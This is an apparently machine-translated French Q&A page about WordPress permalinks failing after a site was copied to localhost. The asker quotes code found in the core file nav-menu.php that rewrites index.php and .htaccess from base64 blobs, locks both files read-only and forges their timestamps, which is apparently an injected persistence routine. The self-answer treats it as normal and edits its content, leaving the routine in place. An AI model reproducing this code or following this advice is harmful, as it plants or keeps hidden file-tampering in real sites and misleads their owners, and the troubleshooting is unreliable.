web-dev-qa-db-fra.com

Lien permanent ne fonctionne pas - URL introuvable

Mon ami a installé WordPress sur son ordinateur (le système d’exploitation est MAC), puis il a créé des postes et personnalisé certaines choses (installer des plugins).

Ensuite, je copie et colle son travail dans mon hôte local (c’est-à-dire que j’utilise Windows 10 64 bits), j’ai aussi importé la base de données WP sur mon hôte local.

Mais il semble que le permalien de toutes les publications ne fonctionne pas.

J'active déjà rewrite_mod ..

Après modification du fichier .htaccess, il semble fonctionner mais la page qui affiche une erreur

touch (): Utime failed: aucune erreur dans C:\wamp\www\projets\klmuc\wp-includes\nav-menu.php à la ligne 544

le problème est ici

function my_correct($dir) {
    $time = 0;
    $path = $dir . '/index.php';
    $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
    if (file_get_contents($path) != $content) {
        chmod($path, 0644);
        file_put_contents($path, $content);
        chmod($path, 0444);
        $time = my_time($dir);
        touch($path, $time);
    }

    $path = $dir . '/.htaccess';
    $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
    if (file_exists($path) AND file_get_contents($path) != $content) {
        chmod($path, 0644);
        //file_put_contents($path, $content); <--- originally it is not commented
        chmod($path, 0444);
        if (!$time) {
            $time = my_time($dir);
        }
        //touch($path, $time); <--- originally it is not commented
    }
}

my_correct(dirname(__FILE__) . '/..');

après avoir commenté les deux lignes ci-dessus qui est

file_put_contents($path, $content);

et

touch($path,$time);

tout fonctionne parfaitement ...

mais est-il possible de commenter les deux lignes ????

1
Syamsoul Azrien

Ma tête semble vouloir exploser à cause de ce problème. Cependant, je viens de résoudre le problème.

le problème est ici

$content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');

si vous décodez la chaîne, vous obtiendrez un texte (chaîne) exactement comme dans le fichier .htaccess.

si vous modifiez le fichier .htaccess directement à partir du fichier, vous obtiendrez le problème. Vous devrez donc modifier le fichier .htaccess via le code. Vous pouvez le modifier comme ceci.

ce que je fais c'est

$content = '# BEGIN WordPress\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /projects/klmuc/\nRewriteRule ^index\.php$ - [L]\nRewriteCond \n{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /projects/klmuc/index.php [L]\n</IfModule>\n\n# END WordPress';

Mon problème est maintenant résolu!

hein!

0
Syamsoul Azrien